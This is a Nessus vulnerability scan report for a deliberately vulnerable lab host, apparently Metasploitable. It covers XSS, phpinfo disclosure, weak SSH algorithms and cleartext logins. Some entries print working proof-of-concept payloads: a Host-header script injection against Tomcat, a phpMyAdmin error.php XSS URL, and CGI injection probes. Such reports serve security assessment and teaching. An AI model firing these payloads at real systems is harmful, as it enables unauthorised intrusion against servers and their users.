Plugin Information

Published: 2001/11/30, Modified: 2022/05/02

Plugin Output

tcp/8180/www

```
------------------------------ Request #1 ------------------------------

The full request used to detect this flaw was :

GET /admin/jx9gvii3.html HTTP/1.1
Host: <script>alert(Host)</script>:8180
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Close
Cookie: JSESSIONID=B22F753FC4A15CA1FA07C87D513D3425
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*


The output was :

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: No-cache
Cache-Control: no-cache
Expires: Wed, 31 Dec 1969 19:00:00 GMT-05:00
Content-Type: text/html;charset=utf-8
Content-Length: 4759
Date: Tue, 04 Feb 2025 16:08:23 GMT
Connection: close

<head>
<title>Tomcat Server Administration</title>
<base href="http://<script>alert(Host)</script>:8180/admin/login.jsp">
<link rel="stylesheet" type="text/css" href="tree-control-test.css">
<link rel="stylesheet" type="text/css" href="admin.css">
```

11229 - Web Server info.php / phpinfo.php Detection

Synopsis

The remote web server contains a PHP script that is prone to an information disclosure attack.

Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including :

- The username of the user who installed PHP and if they are a SUDO user.

- The IP address of the host.

- The version of the operating system.

- The web server version.

- The root directory of the web server.

- Configuration information about the remote PHP installation.

Solution

Remove the affected file(s).

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/02/12, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
Nessus discovered the following URLs that call phpinfo() :

  - http://Epic-Metasploitable.epicode/phpinfo.php
```

```
  - http://Epic-Metasploitable.epicode/mutillidae/phpinfo.php
```

51425 - phpMyAdmin error.php BBcode Tag XSS (PMASA-2010-9)

Synopsis

The remote web server hosts a PHP script that is prone to a cross- site scripting attack.

Description

The version of phpMyAdmin fails to validate BBcode tags in user input to the 'error' parameter of the 'error.php' script before using it to generate dynamic HTML.

An attacker may be able to leverage this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site. For example, this could be used to cause a page with arbitrary text and a link to an external site to be displayed.

See Also

https://www.phpmyadmin.net/security/PMASA-2010-9/

Solution

Upgrade to phpMyAdmin 3.4.0-beta1 or later.

Risk Factor

Medium

VPR Score

3.8

EPSS Score

0.2301

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

BID	45633
CVE	CVE-2010-4480
XREF	EDB-ID:15699

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2011/01/06, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Nessus was able to exploit the issue using the following URL :

  http://Epic-Metasploitable.epicode/phpMyAdmin/error.php?type=phpmyadmin_pmasa_2010_9.nasl&error=
%5ba%40https%3a%2f%2fwww.phpmyadmin.net%2fsecurity%2fPMASA-2010-9%2f%40_self%5dClick%20here%5b%2fa
%5d

It produced the following response :

<link rel="icon" href="./favicon.ico" type="image/x-icon" />
<link rel="shortcut icon" href="./favicon.ico" type="image/x-icon" />
<title>phpMyAdmin</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
```

49142 - phpMyAdmin setup.php Verbose Server Name XSS (PMASA-2010-7)

Synopsis

The remote web server contains a PHP application that has a cross- site scripting vulnerability.

Description

The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input to the 'verbose server name' field.

A remote attacker could exploit this by tricking a user into executing arbitrary script code.

See Also

https://www.tenable.com/security/research/tra-2010-02

https://www.phpmyadmin.net/security/PMASA-2010-7/

Solution

Upgrade to phpMyAdmin 3.3.7 or later.

Risk Factor

Medium

VPR Score

3.0

EPSS Score

0.0022

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2010-3263
XREF	TRA:TRA-2010-02
XREF	CWE:20
XREF	CWE:74

XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2010/09/08, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
By making a series of requests, Nessus was able to determine the
following phpMyAdmin installation is vulnerable :

  http://Epic-Metasploitable.epicode/phpMyAdmin/
```

10114 - ICMP Timestamp Request Remote Date Disclosure

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

Low

VPR Score

2.2

EPSS Score

0.8939

CVSS v2.0 Base Score

2.1 (CVSS2#AV:L/AC:L/Au:N/C:P/I:N/A:N)

References

CVE	CVE-1999-0524
XREF	CWE:200

Plugin Information

Published: 1999/08/01, Modified: 2024/10/07

Plugin Output

icmp/0

```
The difference between the local and remote clocks is -131 seconds.
```

70658 - SSH Server CBC Mode Ciphers Enabled

Synopsis

The SSH server is configured to use Cipher Block Chaining.

Description

The SSH server is configured to support Cipher Block Chaining (CBC) encryption. This may allow an attacker to recover the plaintext message from the ciphertext.

Note that this plugin only checks for the options of the SSH server and does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable CBC mode cipher encryption, and enable CTR or GCM cipher mode encryption.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

VPR Score

6.5

EPSS Score

0.498

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

1.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	32319
CVE	CVE-2008-5161
XREF	CERT:958563
XREF	CWE:200

Plugin Information

Published: 2013/10/28, Modified: 2023/10/27

Plugin Output

tcp/22/ssh

```
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported :

  3des-cbc
  aes128-cbc
  aes192-cbc
  aes256-cbc
  blowfish-cbc
  cast128-cbc
  rijndael-cbc@lysator.liu.se
```

153953 - SSH Weak Key Exchange Algorithms Enabled

Synopsis

The remote SSH server is configured to allow weak key exchange algorithms.

Description

The remote SSH server is configured to allow key exchange algorithms which are considered weak.

This is based on the IETF draft document Key Exchange (KEX) Method Updates and Recommendations for Secure Shell (SSH) RFC9142. Section 4 lists guidance on key exchange algorithms that SHOULD NOT and MUST NOT be enabled. This includes:

diffie-hellman-group-exchange-sha1

diffie-hellman-group1-sha1

gss-gex-sha1-*

gss-group1-sha1-*

gss-group14-sha1-*

rsa1024-sha1

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

See Also

https://datatracker.ietf.org/doc/html/rfc9142

Solution

Contact the vendor or consult product documentation to disable the weak algorithms.

Risk Factor

Low

CVSS v3.0 Base Score

3.7 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2021/10/13, Modified: 2024/03/22

Plugin Output

tcp/22/ssh

```
The following weak key exchange algorithms are enabled :

  diffie-hellman-group-exchange-sha1
  diffie-hellman-group1-sha1
```

71049 - SSH Weak MAC Algorithms Enabled

Synopsis

The remote SSH server is configured to allow MD5 and 96-bit MAC algorithms.

Description

The remote SSH server is configured to allow either MD5 or 96-bit MAC algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server, and it does not check for vulnerable software versions.

Solution

Contact the vendor or consult product documentation to disable MD5 and 96-bit MAC algorithms.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/11/22, Modified: 2016/12/14

Plugin Output

tcp/22/ssh

```
The following client-to-server Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96

The following server-to-client Message Authentication Code (MAC) algorithms
are supported :

  hmac-md5
  hmac-md5-96
  hmac-sha1-96
```

42057 - Web Server Allows Password Auto-Completion

Synopsis

The 'autocomplete' attribute is not disabled on password fields.

Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

Risk Factor

Low

Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php
```

42057 - Web Server Allows Password Auto-Completion

Synopsis

The 'autocomplete' attribute is not disabled on password fields.

Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

Risk Factor

Low

Plugin Information

Published: 2009/10/07, Modified: 2023/07/17

Plugin Output

tcp/8180/www

```
Page : /admin/
Destination Page: /admin/j_security_check

Page : /admin/error.jsp
Destination Page: /admin/j_security_check
```

26194 - Web Server Transmits Cleartext Credentials

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/80/www

```
Page : /phpMyAdmin/
Destination Page: /phpMyAdmin/index.php

Page : /phpMyAdmin/index.php
Destination Page: /phpMyAdmin/index.php
```

26194 - Web Server Transmits Cleartext Credentials

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:522
XREF	CWE:523
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/8180/www

```
Page : /admin/
Destination Page: /admin/j_security_check

Page : /admin/error.jsp
Destination Page: /admin/j_security_check
```

34850 - Web Server Uses Basic Authentication Without HTTPS

Synopsis

The remote web server seems to transmit credentials in cleartext.

Description

The remote web server contains web pages that are protected by 'Basic'
authentication over cleartext.

An attacker eavesdropping the traffic might obtain logins and passwords of valid users.

Solution

Make sure that HTTP authentication is transmitted over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

XREF	CWE:319
XREF	CWE:928
XREF	CWE:930
XREF	CWE:934

Plugin Information

Published: 2008/11/21, Modified: 2016/11/29

Plugin Output

tcp/8180/www

```
The following web pages use Basic Authentication over an unencrypted
channel :

/host-manager/html:/  realm="Tomcat Host Manager Application"
/manager/html:/  realm="Tomcat Manager Application"
/manager/status:/  realm="Tomcat Manager Application"
```

10407 - X Server Detection

Synopsis

An X11 server is listening on the remote host

Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (-nolisten tcp).

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2000/05/12, Modified: 2019/03/05

Plugin Output

tcp/6000/x11

```
X11 Version : 11.0
```

21186 - AJP Connector Detection

Synopsis

There is an AJP connector listening on the remote host.

Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

See Also

http://tomcat.apache.org/connectors-doc/

http://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/04/05, Modified: 2019/11/22

Plugin Output

tcp/8009/ajp13

```
The connector listing on this port supports the ajp13 protocol.
```

18261 - Apache Banner Linux Distribution Disclosure

Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

None

Plugin Information

Published: 2005/05/15, Modified: 2022/03/21

Plugin Output

tcp/0

```
The Linux distribution detected was :
 - Ubuntu 8.04 (gutsy)
```

48204 - Apache HTTP Server Version

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

https://httpd.apache.org/

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2023/08/17

Plugin Output

tcp/80/www

```
URL        : http://Epic-Metasploitable.epicode/
Version    : 2.2.99
Source     : Server: Apache/2.2.8 (Ubuntu) DAV/2
backported : 1
modules    : DAV/2
os         : ConvertedUbuntu
```

39446 - Apache Tomcat Detection

Synopsis

The remote web server is an Apache Tomcat server.

Description

Nessus was able to detect a remote Apache Tomcat web server.

See Also

https://tomcat.apache.org/

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0535

Plugin Information

Published: 2009/06/18, Modified: 2024/11/14

Plugin Output

tcp/8180/www

```
URL        : http://Epic-Metasploitable.epicode:8180/
Version    : 5.5
backported : 0
source     : Apache Tomcat/5.5
```

39519 - Backported Security Patch Detection (FTP)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote FTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/2121/ftp

```
Give Nessus credentials to perform local checks.
```

84574 - Backported Security Patch Detection (PHP)

Synopsis

Security patches have been backported.

Description

Security patches may have been 'backported' to the remote PHP install without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/07/07, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

39520 - Backported Security Patch Detection (SSH)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote SSH server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/22/ssh

```
Give Nessus credentials to perform local checks.
```

39521 - Backported Security Patch Detection (WWW)

Synopsis

Security patches are backported.

Description

Security patches may have been 'backported' to the remote HTTP server without changing its version number.

Banner-based checks have been disabled to avoid false positives.

Note that this test is informational only and does not denote any security problem.

See Also

https://access.redhat.com/security/updates/backporting/?sc_cid=3093

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/06/25, Modified: 2015/07/07

Plugin Output

tcp/80/www

```
Give Nessus credentials to perform local checks.
```

42799 - Broken Web Servers

Synopsis

Tests on this web server have been disabled.

Description

The remote web server seems password protected or misconfigured. Further tests on it were disabled so that the whole scan is not slowed down.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/11/13, Modified: 2011/08/17

Plugin Output

tcp/8180/www

```
This web server was declared broken by :
 phppgadmin_language_file_include.nasl
for the following reason :
 The web server failed to respond at least 20 times for 1956 s.
```

47830 - CGI Generic Injectable Parameter

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

None

References

XREF CWE:86

Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'topic' parameter of the /twiki/bin/view/Main/WebHome CGI :

/twiki/bin/view/Main/WebHome?topic=%00kxonlf

-------- output --------
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title> TWiki . Main . kxonlf   </title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-88 [...]
<base href="http://Epic-Metasploitable.epicode/twiki/bin/view/Main [...]
------------------------

+ The 'search' parameter of the /twiki/bin/search/Main/SearchResult CGI :
```

```
/twiki/bin/search/Main/SearchResult?search=%00kxonlf

-------- output --------
</tr>
</table>
</form>Search: <b> !kxonlf </b>
<p /><table width="100%" border="0" cellpadding="0" cellspacing="4">
<tr bgcolor="#FFFFC0">
------------------------

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=%00kxo
nlf

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file .kxonlf.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=%00kxonlf

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=.kxonlf">Toggle Hints</a><
/td><td><a href="./index.php?do=toggle-security&page=.kxonlf">Toggl
e Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

+ The 'do' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?do=%00kxonlf&do=toggle-hints

-------- output --------
Pragma: no-cache
Set-Cookie: showhints=0
Location: /mutillidae/index.php?do=%00kxonlf&do=toggle-hints
Content-Length: 0
Keep-Alive: timeout=15, max=100
------ [...]
```

47830 - CGI Generic Injectable Parameter

Synopsis

Some CGIs are candidate for extended injection tests.

Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

Solution

n/a

Risk Factor

None

References

XREF CWE:86

Plugin Information

Published: 2010/07/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to injectable parameter :

+ The 'foo' parameter of the /jsp-examples/jsp2/el/implicit-objects.jsp CGI :

/jsp-examples/jsp2/el/implicit-objects.jsp?foo=%00kxonlf

-------- output --------
<u><b>Change Parameter</b></u>
<form action="implicit-objects.jsp" method="GET">
foo = <input type="text" name="foo" value=".kxonlf">
<input type="submit">
</form>
------------------------

+ The 'foo' parameter of the /jsp-examples/jsp2/el/functions.jsp CGI :
```

```
/jsp-examples/jsp2/el/functions.jsp?foo=%00kxonlf

-------- output --------
<u><b>Change Parameter</b></u>
<form action="functions.jsp" method="GET">
foo = <input type="text" name="foo" value=".kxonlf">
<input type="submit">
</form>
------------------------

+ The 'firstname' parameter of the /servlets-examples/servlet/RequestParamExample CGI :

/servlets-examples/servlet/RequestParamExample?firstname=%00kxonlf

-------- output --------
Parameters in this request:<br>
First Name:
= .kxonlf<br>
Last Name:
= null
------------------------

+ The 'lastname' parameter of the /servlets-examples/servlet/RequestParamExample CGI :

/servlets-examples/servlet/RequestParamExample?lastname=%00kxonlf

-------- output --------
= null<br>
Last Name:
= .kxonlf
<P>
<form action="RequestParamExample" method=POST>
------------------------

+ The 'firstname' parameter of the /servlets-examples/servlet/RequestParamExample CGI :

/servlets-examples/servlet/RequestParamExample?firstname=%00kxonlf&lastn
ame=

-------- output --------
Parameters in this request:<br>
First Name:
= .kxonlf<br>
Last Name:
=
------------------------

+ The 'lastname' parameter of the /servlets-examples/servlet/RequestParamExample CGI :

/servlets-examples/servlet/RequestParamExample?firstname=&lastname=%00kx
onlf

-------- output --------
= <br>
Last Name:
= .kxonlf
<P>
<form action="RequestParamExample" method=POST>
------------------------

+ The 'cookiename' parameter of the /servlets-examples/servlet/CookieExample CGI :

 [...]
```

40406 - CGI Generic Tests HTTP Errors

Synopsis

Nessus encountered errors while running its generic CGI attacks.

Description

Nessus ran into trouble while running its generic CGI tests against the remote web server (for example, connection refused, timeout, etc). When this happens, Nessus aborts the current test and switches to the next CGI script on the same port or to another web server. Thus, test results may be incomplete.

Solution

Rescan with a longer network timeout or less parallelism for example, by changing the following options in the scan policy :

- Network -> Network Receive Timeout (check_read_timeout)

- Options -> Number of hosts in parallel (max_hosts)

- Options -> Number of checks in parallel (max_checks)

Risk Factor

None

Plugin Information

Published: 2009/07/28, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
Nessus encountered :

  - 1 error involving directory traversal (extended test) checks :
   . reading the HTTP status line: errno=1 (operation timed out)
  - 1 error involving directory traversal (write access) checks :
   . reading HTTP headers: errno=1 (operation timed out)

This web server appears to be unresponsive now.
```

33817 - CGI Generic Tests Load Estimation (all tests)

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

on site request forgery                  : S=9          SP=9         AP=15        SC=4         AC=18

SQL injection                            : S=1036       SP=1036      AP=1820      SC=196
 AC=3220
unseen parameters                        : S=1295       SP=1295      AP=2275      SC=245
 AC=4025
local file inclusion                     : S=148        SP=148       AP=260       SC=28
 AC=460
cookie manipulation                      : S=10         SP=10        AP=10        SC=4         AC=10

web code injection                       : S=37         SP=37        AP=65        SC=7
 AC=115
XML injection                            : S=37         SP=37        AP=65        SC=7
 AC=115
format string                            : S=74         SP=74        AP=130       SC=14
 AC=230
script injection                         : S=9          SP=9         AP=15        SC=4         AC=18
```

```
injectable parameter                     : S=74         SP=74        AP=130       SC=14
 AC=230
cross-site scripting (comprehensive test): S=629        SP=629       AP=1105      SC=119
 AC=1955
cross-site scripting (extended patterns) : S=54         SP=54        AP=90        SC=24
 AC=108
directory traversal (write access)       : S=74         SP=74        AP=130       SC=14
 AC=230
SSI injection                            : S=111        SP=111       AP=195       SC=21
 AC=345
header injection                         : S=18         SP=18        AP=30        SC=8         AC=36

HTML injection                           : S=45         SP=45        AP=75        SC=20        AC=90

directory traversal                      : S=1073       SP=1073      AP=1885      SC=203
 AC=3335
cross-site scripting (quick test)      [...]
```

33817 - CGI Generic Tests Load Estimation (all tests)

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2022/04/11

Plugin Output

tcp/8180/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

directory traversal                       : S=667        SP=667       AP=1189      SC=87
 AC=1247
arbitrary command execution               : S=506        SP=506       AP=902       SC=66
 AC=946
SQL injection                             : S=644        SP=644       AP=1148      SC=84
 AC=1204
HTML injection                            : S=60         SP=60        AP=100       SC=20
 AC=100
directory traversal (write access)        : S=46         SP=46        AP=82        SC=6         AC=86

persistent XSS                            : S=92         SP=92        AP=164       SC=12
 AC=172
on site request forgery                   : S=12         SP=12        AP=20        SC=4         AC=20

cross-site scripting (comprehensive test): S=391        SP=391       AP=697       SC=51
 AC=731
blind SQL injection (4 requests)          : S=92         SP=92        AP=164       SC=12
 AC=172
```

```
injectable parameter                    : S=46        SP=46        AP=82        SC=6         AC=86

XML injection                           : S=23        SP=23        AP=41        SC=3         AC=43

SQL injection (2nd order)               : S=23        SP=23        AP=41        SC=3         AC=43

local file inclusion                    : S=92        SP=92        AP=164       SC=12
 AC=172
format string                           : S=46        SP=46        AP=82        SC=6         AC=86

SSI injection                           : S=69        SP=69        AP=123       SC=9
 AC=129
script injection                        : S=12        SP=12        AP=20        SC=4         AC=20

HTTP response splitting                 : S=108       SP=108       AP=180       SC=36
 AC=180
blind SQL injection                   [...]
```

39470 - CGI Generic Tests Timeout

Synopsis

Some generic CGI attacks ran out of time.

Description

Some generic CGI tests ran out of time during the scan. The results may be incomplete.

Solution

Consider increasing the 'maximum run time (minutes)' preference for the 'Web Applications Settings' in order to prevent the CGI scanning from timing out. Less ambitious options could also be used, such as :

- Test more that one parameter at a time per form :

'Test all combinations of parameters' is much slower than 'Test random pairs of parameters' or 'Test all pairs of parameters (slow)'.

- 'Stop after one flaw is found per web server (fastest)'

under 'Do not stop after the first flaw is found per web page' is quicker than 'Look for all flaws (slowest)'.

- In the Settings/Advanced menu, try reducing the value for 'Max number of concurrent TCP sessions per host' or 'Max simultaneous checks per host'.

Risk Factor

None

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following tests timed out without finding any flaw :
- SQL injection
- local file inclusion

The following tests were interrupted and did not report all possible flaws :
- directory traversal
- arbitrary command execution
- cross-site scripting (comprehensive test)
- blind SQL injection
```

39470 - CGI Generic Tests Timeout

Synopsis

Some generic CGI attacks ran out of time.

Description

Some generic CGI tests ran out of time during the scan. The results may be incomplete.

Solution

Consider increasing the 'maximum run time (minutes)' preference for the 'Web Applications Settings' in order to prevent the CGI scanning from timing out. Less ambitious options could also be used, such as :

- Test more that one parameter at a time per form :

'Test all combinations of parameters' is much slower than 'Test random pairs of parameters' or 'Test all pairs of parameters (slow)'.

- 'Stop after one flaw is found per web server (fastest)'

under 'Do not stop after the first flaw is found per web page' is quicker than 'Look for all flaws (slowest)'.

- In the Settings/Advanced menu, try reducing the value for 'Max number of concurrent TCP sessions per host' or 'Max simultaneous checks per host'.

Risk Factor

None

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
The following tests timed out without finding any flaw :
- directory traversal (extended test)
- directory traversal
- arbitrary command execution
```

45590 - Common Platform Enumeration (CPE)

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

http://cpe.mitre.org/

https://nvd.nist.gov/products/cpe

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2025/01/15

Plugin Output

tcp/0

```
The remote operating system matched the following CPE :

  cpe:/o:canonical:ubuntu_linux:8.04 -> Canonical Ubuntu Linux

Following application CPE's matched on the remote system :

  cpe:/a:apache:http_server:2.2.8 -> Apache Software Foundation Apache HTTP Server
